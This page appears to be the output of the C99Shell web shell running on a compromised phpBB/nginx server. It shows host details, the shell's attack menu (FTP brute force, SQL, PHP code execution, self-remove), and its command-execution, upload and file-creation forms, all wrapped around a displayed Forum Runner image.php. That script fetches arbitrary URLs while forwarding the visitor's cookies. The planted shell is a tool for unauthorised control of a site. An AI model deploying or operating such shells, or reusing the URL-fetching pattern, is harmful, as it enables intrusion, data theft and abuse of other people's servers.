!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: nginx/1.23.4. PHP/5.6.40-65+ubuntu20.04.1+deb.sury.org+1 

uname -a: Linux foro-restaurado-2 5.15.0-1040-oracle #46-Ubuntu SMP Fri Jul 14 21:47:21 UTC 2023
aarch64
 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/usr/share/nginx/html/phpbb3/forumrunner/   drwxrwxr-x
Free 83.38 GB of 96.73 GB (86.2%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     image.php (1.78 KB)      -rw-rw-r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/*
 * Forum Runner
 *
 * Copyright (c) 2010 to End of Time Studios, LLC
 *
 * This file may not be redistributed in whole or significant part.
 *
 * http://www.forumrunner.net
 */

define('MCWD', (($getcwd getcwd()) ? $getcwd '.'));

require_once(
MCWD '/support/utils.php');
require_once(
MCWD '/support/Snoopy.class.php');

$args process_input(
    array(
    
'url' => STRING,
    
'w' => INTEGER,
    
'h' => INTEGER,
    )
);

if (isset(
$args['w']) && ($args['w'] > 500 || $args['w'] <= 0)) {
    
$args['w'] = 75;
}
if (isset(
$args['h']) && ($args['h'] > 500 || $args['h'] <= 0)) {
    
$args['h'] = 75;
}

if (!
$args['url']) {
    return;
}

if (!
extension_loaded('gd') && !extension_loaded('gd2')) {
    
trigger_error("GD is not loaded"E_USER_ERROR);
    exit;
}

$snoopy = new snoopy();

$snoopy->cookies $_COOKIE;

$args['url'] = trim(str_replace(' ''%20'$args['url']));

if (
$snoopy->fetch($args['url'])) {
    
$image imagecreatefromstring($snoopy->results);

    if (
$image) {
    if (isset(
$args['w']) && isset($args['h'])) {
        
$oldwidth imagesx($image);
        
$oldheight imagesy($image);
        
$newwidth $oldwidth;
        
$newheight $oldheight;
        if (
$oldwidth $oldheight) {
        
$newwidth $args['w'];
        
$newheight = ((float)$newwidth / (float)$oldwidth) * $oldheight;
        } else {
        
$newheight $args['h'];
        
$newwidth = ((float)$newheight / (float)$oldheight) * $oldwidth;
        }
        
$new_image imagecreatetruecolor($newwidth$newheight);
        
imagecopyresampled($new_image$image0000$newwidth$newheightimagesx($image), imagesy($image));
        
header('Content-type: image/png');
        
imagepng($new_image);
    } else {
        
header('Content-type: image/png');
        
imagepng($image);
    }
    }
}

?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by HackingTool | HackingTool | Generation time: 0.0033 ]--